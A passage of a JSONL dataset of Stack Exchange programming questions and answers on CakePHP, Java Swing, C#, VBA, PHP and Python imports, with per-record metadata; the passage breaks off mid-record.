{"id": "hf_065aa6ecc776", "question": "<p>In a <code>CakePHP 1.2</code> app, I'm using </p>\n\n<pre><code>&lt;?php $session-&gt;flash();?&gt;\n</code></pre>\n\n<p>to output messages like \"Record edited\". It's working great.</p>\n\n<p>However, I want to add a link called \"Dismiss\" that will fade out the message. I know how to construct the link, but I don't know how to insert into the output of the flass message.</p>\n\n<p>The flash message wraps itself in a <code>DIV tag</code>. I want to insert my dismiss code into that div, but I don't know how.</p>\n", "question_body": "", "answer": "Figured this out:\nCreate a new layout in your layouts folder:\n```\n```\nlayouts/message.ctp\n```\n```\nIn that layout, include the call to output the content:\n```\n```\n<?php echo $content_for_layout; ?>\n```\n```\nThen when you set the flash message, specify the layout to use:\n```\n```\n$this->Session->setFlash('Your record has been created! Wicked!','message');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.182442"}
{"id": "hf_f59eaa376c01", "question": "<p>I'm writing a custom file selection component. In my UI, first the user clicks a button, which pops a <code>JFileChooser</code>; when it is closed, the absolute path of the selected file is written to a <code>JTextField</code>.</p>\n\n<p>The problem is, absolute paths are usually long, which causes the text field to enlarge, making its container too wide.</p>\n\n<p>I've tried this, but it didn't do anything, the text field is still too wide:</p>\n\n<pre><code>fileNameTextField.setMaximumSize(new java.awt.Dimension(450, 2147483647));\n</code></pre>\n\n<p>Currently, when it is empty, it is already 400px long, because of <code>GridBagConstraints</code> attached to it.</p>\n\n<p>I'd like it to be like text fields in HTML pages, which have a fixed size and do not enlarge when the input is too long.</p>\n\n<p>So, how do I set the max size for a <code>JTextField</code> ?</p>\n", "question_body": "", "answer": "It may depend on the layout manager your text field is in.  Some layout managers expand and some do not.  Some expand only in some cases, others always.\nI'm assuming you're doing\n```\n```\nfiledNameTextField = new JTextField(80); // 80 == columns\n```\n```\nIf so, for most reasonable layouts, the field should not change size (at least, it shouldn't grow).  Often layout managers behave badly when put into\n```\nJScrollPane\n```\ns.\nIn my experience, trying to control the sizes via\n```\nsetMaximumSize\n```\nand\n```\nsetPreferredWidth\n```\nand so on are precarious at best.  Swing decided on its own with the layout manager and there's little you can do about it.\nAll that being said, I have no had the problem you are experiencing, which leads me to believe that some judicious use of a layout manager will solve the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.234517"}
{"id": "hf_9965d2c398df", "question": "<p>In a recent conversation, I mentioned that I was using JavaScript for a web application. That comment prompted a response: \"You should use Flex instead. It will cut your development time down and JavaScript is too hard to debug and maintain. You need to use the right tool for the right job.\" Now, I don't know too much about Flex, but I personally don't feel like JavaScript is too hard to debug or maintain, especially if you use a framework. JavaScript is also one of the most used languages right now, so it would seem a better choice in that regard too. However, his reply piqued my interest. Would Flex be a good choice for a distributable web app for which 3rd party developers could build add-ons? What are the advantages of using it vs. a JavaScript framework? What are some of the disadvantages?</p>\n", "question_body": "", "answer": "I have recently started to develop Flex applications, and I personally find it a refreshing framework for the web.\nYou get a state-ful application that runs completely client side. You get no worries about  cross-browser portability that you do with JavaScript, and you get some really neat things such as effects, graphing, and rich user interface components.\nFlex also makes it easy to communicate to webservices and the XML parsing via ECMA is insanely powerful and simple.\nI'm glad I have made the switch. As far as how popular it is...I'm not really sure, but I am fairly certain that the developer base is expanding rapidly.\nThe only real disadvantage I can think of is a flash player requirement, but I would say it is pretty safe to assume that most browser support flash player; even konquerer in Linux is supported; much more so then a silverlight runtime (which I NEVER plan on installing)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.272541"}
{"id": "hf_76603c7b80b8", "question": "<p>In Java, I use a class in which some fields can be <code>null</code>. For example:</p>\n\n<pre><code>class Foo {\n    String bar;\n    //....\n}\n</code></pre>\n\n<p>I want to write a BarComparator for this class,</p>\n\n<pre><code>    private static class BarComparator\n            implements Comparator&lt;Foo&gt; {\n        public int compare( final Foo o1, final Foo o2 )\n        {\n            // Implementation goes here\n        }\n    }\n</code></pre>\n\n<p>Is there a standard way to deal with the fact that any of <code>o1</code>, <code>o2</code>, <code>o1.bar</code>, <code>o2.bar</code> can be <code>null</code>, without writing lots of nested <code>if</code>...<code>else</code>?</p>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "I think early return statements would be the other alternative to lots of ifs\ne.g.\n```\n```\nif(o1==null) return x;\nif(o2==null) return x;\nif(o1.getBar()==null) return x;\nif(o2.getBar()==null) return x;\n\n// No null checks needed from this point.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.318874"}
{"id": "hf_65704ae9cb23", "question": "<p>What do you think the benefits of functional programming are? And how do they apply to programmers today?</p>\n\n<p>What are the greatest differences between functional programming and OOP? </p>\n", "question_body": "", "answer": "It doesn't have to be one or the other: using a language like C#3.0 allows you to mix the best elements of each. OO can be used for the large scale structure at class level and above, Functional style for the small scale structure at method level.\nUsing the Functional style allows code to be written that declares its intent clearly, without being mixed up with control flow statements, etc. Because of the principles like side-effect free programming, it is much easier to reason about code, and check its correctness.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.368205"}
{"id": "hf_11ae8511fcaf", "question": "<p>I find my self having a repeater control which is being databound to an xml document. My client is now requesting that the Textbox's which are being repeater can be either a Textbox or a Checkbox.</p>\n\n<p>I cannot seem to find an easyway to essentially do the following:</p>\n\n<pre><code>if ((System.Xml.XmlNode)e.Item.DataItem.Attributes[\"type\"] == \"text\")\n&lt;asp:TextBox runat=\"server\" ID=\"txtField\" Text='&lt;%#((System.Xml.XmlNode)Container.DataItem).InnerText %&gt;' CssClass=\"std\"&gt;&lt;/asp:TextBox&gt;\nelse\n&lt;asp:CheckBox runat=\"server\" ID=\"txtField\" Text='&lt;%#((System.Xml.XmlNode)Container.DataItem).InnerText %&gt;' CssClass=\"std\"&gt;&lt;/asp:TextBox&gt;\n</code></pre>\n\n<p>Is there a nice way I can extend my current implementaion without have to rewrite the logic. If I could inject the control via \"OnItemDataBound\" that would also be fine. But I cannot seem to make it work</p>\n", "question_body": "", "answer": "What about something similar to this in your markup in each the textbox and checkbox controls?\n```\n```\nVisible=<%= Eval(\"type\").tostring() == \"text\") %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.391609"}
{"id": "hf_e08e0fabde54", "question": "<p>Given an <code>Item</code> that has been appended to a <code>Form</code>, whats the best way to find out what index that item is at on the Form?</p>\n\n<p><code>Form.append(Item)</code> will give me the index its initially added at, but if I later insert items before that the index will be out of sync.</p>\n", "question_body": "", "answer": "This was the best I could come up with:\n```\n```\nprivate int getItemIndex(Item item, Form form) {\n    for(int i = 0, size = form.size(); i < size; i++) {\n        if(form.get(i).equals(item)) {\n            return i;\n        }\n    }\n    return -1;\n}\n```\n```\nI haven't actually tested this but it should work, I just don't like having to enumerate every item but then there should never be that many so I guess its ok.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.429969"}
{"id": "hf_d49110ac508e", "question": "<p>What is a good implementation of a IsLeapYear function in VBA?  </p>\n\n<p><b>Edit: </b>I ran the if-then and the DateSerial implementation with iterations wrapped in a timer, and the DateSerial was quicker on the average by 1-2 ms (5 runs of 300 iterations, with 1 average cell worksheet formula also working).</p>\n", "question_body": "", "answer": "```\n```\nPublic Function isLeapYear(Yr As Integer) As Boolean  \n\n    ' returns FALSE if not Leap Year, TRUE if Leap Year  \n\n    isLeapYear = (Month(DateSerial(Yr, 2, 29)) = 2)  \n\nEnd Function\n```\n```\nI originally got this function from Chip Pearson's great Excel site.\nPearson's site", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.453628"}
{"id": "hf_74a0cf382031", "question": "<p>What is currently the best tool for JavaME unit testing? I´ve never really used unit testing before (shame on me!), so learning curve is important. I would appreciate some pros and cons with your answer. :)</p>\n", "question_body": "", "answer": "I'll be honest, the only unit tester I've used in Java is\nJUnit\nand a child project for it named\nDBUnit\nfor database testing... which I'm assuming you won't need under J2ME.\nJUnit's pretty easy to use for unit testing, as long as your IDE supports it (Eclipse has support for JUnit built in).  You just mark tests with the @Test annotation (org.junit.Test I think).  You can also specify methods that should be run\n```\n@Before\n```\nor\n```\n@After\n```\neach test, as well as before or after the entire class (with\n```\n@BeforeClass\n```\nand\n```\n@AfterClass\n```\n).\nI've never used JUnit under J2ME, though... I work with J2EE at work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.644267"}
{"id": "hf_8fd33ee82fd8", "question": "<p>How to tag images in the image itself in a web page? </p>\n\n<p>I know <a href=\"http://www.taggify.net/\" rel=\"nofollow noreferrer\">Taggify</a>, but... is there other options?</p>\n\n<p><a href=\"http://en.blog.orkut.com/2008/06/tag-thats-me.html\" rel=\"nofollow noreferrer\">Orkut</a> also does it to tag people faces... How is it done?</p>\n\n<p>Anyone knows any public framework that is able to do it?</p>\n\n<p>See a sample bellow from Taggify:</p>\n\n<p><img src=\"https://i.stack.imgur.com/gT1zq.jpg\" alt=\"alt text\" title=\"Taggify Sample&quot;\"></p>\n", "question_body": "", "answer": "I know this isn't javascript but C# 3.0 has an API for doing this. The\nSystem.Windows.Media.Imaging\nnamespace has a class called\nBitmapMetadata\nwhich can be used to read and write image metadata (which is stored in the image itself). Here is a method for retrieving the metadata for an image given a file path:\n```\n```\npublic static BitmapMetadata GetMetaData(string path)\n{\n    using (Stream s = new System.IO.FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite))\n    {\n        var decoder = BitmapDecoder.Create(s, BitmapCreateOptions.None, BitmapCacheOption.OnDemand);\n        var frame = decoder.Frames.FirstOrDefault();\n        if (frame != null)\n        {\n            return frame.Metadata as BitmapMetadata;\n        }\n        return null;\n    }\n}\n```\n```\nThe BitmapMetadata class has a property for tags as well as other common image metadata. To save metadata back to the image, you can use the\nInPlaceBitmapMetadataWriter Class\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.683263"}
{"id": "hf_d1fb21375247", "question": "<p>For a project of mine I would love to provide auto completion for a specific textarea.  Similar to how intellisense/omnicomplete works.  For that however I have to find out the absolute cursor position so that I know where the DIV should appear.</p>\n\n<p>Turns out: that's (nearly I hope) impossible to achieve.  Does anyone has some neat ideas how to solve that problem?</p>\n", "question_body": "", "answer": "This\nblog post seems to address your question, but unfortunately the author admits he has only tested it in IE 6.\nThe DOM in IE does not provide information regarding relative position in terms of characters; however, it does provide bounding and offset values for browser-rendered controls.  Thus, I used these values to determine the relative bounds of a character. Then, using the JavaScript TextRange, I created a mechanism for working with such measures to calculate the Line and Column position for fixed-width fonts within a given TextArea.\nFirst, the relative bounds for the TextArea must be calculated based upon the size of the fixed-width font used.  To do this, the original value of the TextArea must be stored in a local JavaScript variable and clear the value.  Then, a TextRange is created to determine the Top and Left bounds of the TextArea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.720055"}
{"id": "hf_df1ed79f5416", "question": "<p>I am currently initializing a Hashtable in the following way:</p>\n\n<pre><code>Hashtable filter = new Hashtable();\nfilter.Add(\"building\", \"A-51\");\nfilter.Add(\"apartment\", \"210\");\n</code></pre>\n\n<p>I am looking for a nicer way to do this.</p>\n\n<p>I tried something like </p>\n\n<pre><code>Hashtable filter2 = new Hashtable() {\n    {\"building\", \"A-51\"},\n    {\"apartment\", \"210\"}\n};\n</code></pre>\n\n<p>However the above code does not compile.</p>\n", "question_body": "", "answer": "In C# 3 it should compile fine like this:\n```\n```\nHashtable table = new Hashtable {{1, 1}, {2, 2}};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.742897"}
{"id": "hf_7c2dadbfe7db", "question": "<p>Date coming out of a database, need to format as \"mm/dd/yy\"</p>\n\n<pre><code>For Each dr as DataRow in ds.Tables(0).Rows\n\nResponse.Write(dr(\"CreateDate\"))\n\nNext\n</code></pre>\n", "question_body": "", "answer": "```\n```\nResponse.Write(DateTime.Parse(dr(\"CreateDate\").ToString()).ToString(\"MM/dd/yyyy\"))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.778762"}
{"id": "hf_a9d83b9504b1", "question": "<p>I'm writing an <code>RSS</code> to <code>JSON parser</code> and as a part of that, I need to use <code>htmlentities()</code> on any tag found inside the description tag. Currently, I'm trying to use <code>preg_replace()</code>, but I'm struggling a little with it. My current (non-working) code looks like:</p>\n\n<pre><code>$pattern[0] = \"/\\&lt;description\\&gt;(.*?)\\&lt;\\/description\\&gt;/is\";\n$replace[0] = '&lt;description&gt;'.htmlentities(\"$1\").'&lt;/description&gt;';\n$rawFeed = preg_replace($pattern, $replace, $rawFeed);\n</code></pre>\n\n<p>If you have a more elegant solution to this as well, please share. Thanks.</p>\n", "question_body": "", "answer": "Simple.  Use\n```\npreg_replace_callback\n```\n:\n```\n```\nfunction _handle_match($match)\n{\n    return '<description>' . htmlentities($match[1]) . '</description>';\n}\n\n$pattern = \"/\\<description\\>(.*?)\\<\\/description\\>/is\";\n$rawFeed = preg_replace_callback($pattern, '_handle_match', $rawFeed);\n```\n```\nIt accepts any callback type, so also methods in classes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.805711"}
{"id": "hf_d1c2afdcd851", "question": "<p>Should I try to actually upgrade my existing app, or just rewrite it mostly from scratch, saving what pieces (templates, etc) I can?</p>\n", "question_body": "", "answer": "Upgrade. For me it was very simple: change\n```\n__str__()\n```\nto\n```\n__unicode__()\n```\n, write basic\n```\nadmin.py\n```\n, and done. Just start running your app on 1.0, test it, and when you encounter an error use the documentation on\nbackwards-incompatible changes\nto see how to fix the issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.009843"}
{"id": "hf_8c1a42303943", "question": "<p><a href=\"http://www.python.org/dev/peps/pep-0008/\" rel=\"noreferrer\">PEP 8</a> states:</p>\n<blockquote>\n<p>Imports are always put at the top of the file, just after any module comments and docstrings, and before module globals and constants.</p>\n</blockquote>\n<p>However if the class/method/function that I am importing is only used in rare cases, surely it is more efficient to do the import when it is needed?</p>\n<p>Isn't this:</p>\n<pre><code>class SomeClass(object):\n\n    def not_often_called(self)\n        from datetime import datetime\n        self.datetime = datetime.now()\n</code></pre>\n<p>more efficient than this?</p>\n<pre><code>from datetime import datetime\n\nclass SomeClass(object):\n\n    def not_often_called(self)\n        self.datetime = datetime.now()\n</code></pre>\n", "question_body": "", "answer": "The first variant is indeed more efficient than the second when the function is called either zero or one times.  With the second and subsequent invocations, however, the \"import every call\" approach is actually less efficient.  See\nthis link\nfor a lazy-loading technique that combines the best of both approaches by doing a \"lazy import\".\nBut there are reasons other than efficiency why you might prefer one over the other.  One approach is makes it much more clear to someone reading the code as to the dependencies that this module has.  They also have very different failure characteristics -- the first will fail at load time if there's no \"datetime\" module while the second won't fail until the method is called.\nAdded Note:\nIn IronPython, imports can be quite a bit more expensive than in CPython because the code is basically being compiled as it's being imported.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.032747"}
{"id": "hf_f47b69a98157", "question": "<p>I've just updated my ruby installation on my gentoo server to ruby 1.8.6 patchlevel 287 and have started getting an error on one of my eRuby apps. The error given in the apache error_log file is:</p>\n\n<pre><code>[error] mod_ruby: /usr/lib/ruby/1.8/cgi.rb:774: superclass mismatch for class Cookie (TypeError)\n</code></pre>\n\n<p>The strange thing is that it seems to work sometimes - but other times I get that error. Anyone any ideas?</p>\n", "question_body": "", "answer": "That error shows up when you redeclare a class that’s already been declared, most likely because you’re loading two different copies of cgi.rb. See a\nsimilar issue in Rails\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.086086"}
{"id": "hf_959a29e819d2", "question": "<p>We have our JBoss and Oracle on separate servers. The connections seem to be dropped and is causing issues with JBoss. How can I have the JBoss reconnect to Oracle if the connection is bad while we figure out why the connections are being dropped in the first place?</p>\n", "question_body": "", "answer": "There is usually a configuration option on the pool to enable a validation query to be executed on borrow.  If the validation query executes successfully, the pool will return that connection.  If the query does not execute successfully, the pool will create a new connection.\nThe\nJBoss Wiki\ndocuments the various attributes of the pool.\n```\n```\n<check-valid-connection-sql>select 1 from dual</check-valid-connection-sql>\n```\n```\nSeems like it should do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.134467"}
{"id": "hf_1285f2282055", "question": "<p>When is it a good idea to use <a href=\"http://us3.php.net/manual/en/reserved.constants.php\" rel=\"noreferrer\"><code>PHP_EOL</code></a>?</p>\n\n<p>I sometimes see this in code samples of PHP. Does this handle DOS/Mac/Unix endline issues?</p>\n", "question_body": "", "answer": "Yes,\n```\nPHP_EOL\n```\nis ostensibly used to find the newline character in a cross-platform-compatible way, so it handles DOS/Unix issues.\nNote that\nPHP_EOL\nrepresents the endline character for the\ncurrent\nsystem. For instance, it will not find a Windows endline when executed on a unix-like system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.183398"}
{"id": "hf_b34d7815f11c", "question": "<p>I'm trying to get the contents of a XML document element, but the element has a colon in it's name.</p>\n\n<p>This line works for every element but the ones with a colon in the name:</p>\n\n<pre><code>$(this).find(\"geo:lat\").text();\n</code></pre>\n\n<p>I assume that the colon needs escaping. How do I fix this?</p>\n", "question_body": "", "answer": "Use a backslash, which itself should be escaped so JavaScript doesn't eat it:\n```\n```\n$(this).find(\"geo\\\\:lat\").text();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.255629"}
{"id": "hf_d3305ba2d72b", "question": "<p>Seems so basic, I can't believe I don't know this! I just need a scratch folder to dump some temporary files to. I don't care if it gets wiped out between usages or not, and I don't think I should have to go through the hassle of creating one and maintaining it myself from within my application. Is that too much to ask?</p>\n", "question_body": "", "answer": "Use\n```\nSystem.IO.Path.GetTempPath()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.303449"}
{"id": "hf_21ab22f9160b", "question": "<p>Is there any easy way to create a class that uses <strong>IFormatProvider</strong> that writes out a user-friendly file-size?</p>\n\n<pre><code>public static string GetFileSizeString(string filePath)\n{\n    FileInfo info = new FileInfo(@\"c:\\windows\\notepad.exe\");\n    long size = info.Length;\n    string sizeString = size.ToString(FileSizeFormatProvider); // This is where the class does its magic...\n}\n</code></pre>\n\n<p>It should result in strings formatted something like \"<em>2,5 MB</em>\", \"<em>3,9 GB</em>\", \"<em>670 bytes</em>\" and so on.</p>\n", "question_body": "", "answer": "I use this one, I get it from the web\n```\n```\npublic class FileSizeFormatProvider : IFormatProvider, ICustomFormatter\n{\n    public object GetFormat(Type formatType)\n    {\n        if (formatType == typeof(ICustomFormatter)) return this;\n        return null;\n    }\n\n    private const string fileSizeFormat = \"fs\";\n    private const Decimal OneKiloByte = 1024M;\n    private const Decimal OneMegaByte = OneKiloByte * 1024M;\n    private const Decimal OneGigaByte = OneMegaByte * 1024M;\n\n    public string Format(string format, object arg, IFormatProvider formatProvider)\n    {    \n        if (format == null || !format.StartsWith(fileSizeFormat))    \n        {    \n            return defaultFormat(format, arg, formatProvider);    \n        }\n\n        if (arg is string)    \n        {    \n            return defaultFormat(format, arg, formatProvider);    \n        }\n\n        Decimal size;\n\n        try    \n        {    \n            size = Convert.ToDecimal(arg);    \n        }    \n        catch (InvalidCastException)    \n        {    \n            return defaultFormat(format, arg, formatProvider);    \n        }\n\n        string suffix;\n        if (size > OneGigaByte)\n        {\n            size /= OneGigaByte;\n            suffix = \"GB\";\n        }\n        else if (size > OneMegaByte)\n        {\n            size /= OneMegaByte;\n            suffix = \"MB\";\n        }\n        else if (size > OneKiloByte)\n        {\n            size /= OneKiloByte;\n            suffix = \"kB\";\n        }\n        else\n        {\n            suffix = \" B\";\n        }\n\n        string precision = format.Substring(2);\n        if (String.IsNullOrEmpty(precision)) precision = \"2\";\n        return String.Format(\"{0:N\" + precision + \"}{1}\", size, suffix);\n\n    }\n\n    private static string defaultFormat(string format, object arg, IFormatProvider formatProvider)\n    {\n        IFormattable formattableArg = arg as IFormattable;\n        if (formattableArg != null)\n        {\n            return formattableArg.ToString(format, formatProvider);\n        }\n        return arg.ToString();\n    }\n\n}\n```\n```\nan example of use would be:\n```\n```\nConsole.WriteLine(String.Format(new FileSizeFormatProvider(), \"File size: {0:fs}\", 100));\nConsole.WriteLine(String.Format(new FileSizeFormatProvider(), \"File size: {0:fs}\", 10000));\n```\n```\nCredits for\nhttp://flimflan.com/blog/FileSizeFormatProvider.aspx\nThere is a problem with ToString(), it's expecting a NumberFormatInfo type that implements IFormatProvider but the NumberFormatInfo class is sealed :(\nIf you're using C# 3.0 you can use an extension method to get the result you want:\n```\n```\npublic static class ExtensionMethods\n{\n    public static string ToFileSize(this long l)\n    {\n        return String.Format(new FileSizeFormatProvider(), \"{0:fs}\", l);\n    }\n}\n```\n```\nYou can use it like this.\n```\n```\nlong l = 100000000;\nConsole.WriteLine(l.ToFileSize());\n```\n```\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.326177"}
{"id": "hf_c29332e8b8b4", "question": "<p>Pretty simple scenario. I have a web service that receives a byte array that is to be saved as a particular file type on disk. What is the most efficient way to do this in C#?</p>\n", "question_body": "", "answer": "That would be\n```\nFile.WriteAllBytes()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.397443"}
{"id": "hf_43833cc9c784", "question": "<p>Are there any good packages or methods for doing extensive CRUD (create-retrieve-update-delete) interfaces in the Turbogears framework. The FastDataGrid widget is too much of a black box to be useful and CRUDTemplate looks like more trouble than rolling my own. Ideas? Suggestions?</p>\n", "question_body": "", "answer": "While\nCRUDTemplate\nlooks mildly complex, I'd say that you can implement CRUD/ABCD using just about any ORM that you choose. It just depends on how much of it you with to automate (which generally means defining models/schemas ahead of time). You may learn more and have better control if you put together your own using SQLAlchemy or SQLObject, woth of which work great with TurboGears.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.433285"}
{"id": "hf_b14ad12faf92", "question": "<p>Is it possible to use AIX's mksysb and savevg to create a bootable tape with the rootvg and then append all the other VGs?</p>\n", "question_body": "", "answer": "First, use savevg to backup any extra volume groups to a file system on the rootvg:\n```\n```\nsavevg -f /tmp/vgname\n```\n```\nCompress it if it will be too large, or use the -i option to exclude files.  The easiest way is to exclude all files on the volume group and restore those off of the regular backup device.  Once that is done, create your normal mksysb.\nFor DR purposes, restore the system using the mksysb, then use restvg to restore the volume groups out of your backup files.  Restore any extra files that may have been excluded, and you're running again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.494101"}
{"id": "hf_493d8e0c4c19", "question": "<p>I really enjoy having \"pretty\" URLs (e.g. <code>/Products/Edit/1</code> instead of <code>/products.aspx?productID=1</code>) but I'm at a loss on how to do this for pages that let you search by a large number of variables.</p>\n\n<p>For instance, let's say you have a page that lets a user search for all products of a particular type with a certain name and near a specific address.  Would you do this with really long \"pretty\" URLs</p>\n\n<pre><code>/Products/Search/Type/{producttype}/Name/{name}/Address/{address}\n</code></pre>\n\n<p>or just resort to using url params</p>\n\n<pre><code>/Products/Search?productType={producttype}&amp;name={name}&amp;address={address}\n</code></pre>\n", "question_body": "", "answer": "The MVC (Model View Controller) framework is designed specifically to tackle this issue. It uses a form of url rewriting to redirect actions to pages and provides just the functionality you're looking for. It makes handling pretty urls a breeze.\nWith regard to the length of URLs, id still use pretty urls but a particularly long URL may be an indication that you may want to reconsider your grouping of the items, alter the classification if you will so Products/{NAME}/{Address} without intermediary url parts.\nExamples of the MVC framework can be found at:\n.Net -\nhttp://www.asp.net/mvc/\nPHP -\nhttp://www.phpmvc.net/\nJava -\nhttp://struts.apache.org/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:12.530495"}
{"id": "hf_6e7b89832080", "question": "<p>I have seen people say that it is bad form to use catch with no arguments, especially if that catch doesn't do anything:</p>\n\n<pre><code>StreamReader reader=new  StreamReader(\"myfile.txt\");\ntry\n{\n  int i = 5 / 0;\n}\ncatch   // No args, so it will catch any exception\n{}\nreader.Close();\n</code></pre>\n\n<p>However, this is considered good form:</p>\n\n<pre><code>StreamReader reader=new  StreamReader(\"myfile.txt\");\ntry\n{\n  int i = 5 / 0;\n}\nfinally   // Will execute despite any exception\n{\n  reader.Close();\n}\n</code></pre>\n\n<p>As far as I can tell, the only difference between putting cleanup code in a finally block and putting cleanup code after the try..catch blocks is if you have return statements in your try block (in that case, the cleanup code in finally will run, but code after the try..catch will not).</p>\n\n<p>Otherwise, what's so special about finally?</p>\n", "question_body": "", "answer": "\"Finally\" is a statement of \"Something you must always do to make sure program state is sane\". As such, it's always good form to have one, if there's any possibility that exceptions may throw off the program state. The compiler also goes to great lengths to ensure that your Finally code is run.\n\"Catch\" is a statement of \"I can recover from this exception\". You should only recover from exceptions you really can correct - catch without arguments says \"Hey, I can recover from anything!\", which is nearly always untrue.\nIf\nit were possible to recover from every exception, then it would really be a semantic quibble, about what you're declaring your intent to be. However, it's not, and almost certainly frames above yours will be better equipped to handle certain exceptions. As such,   use finally, get your cleanup code run for free, but still let more knowledgeable handlers deal with the issue.", 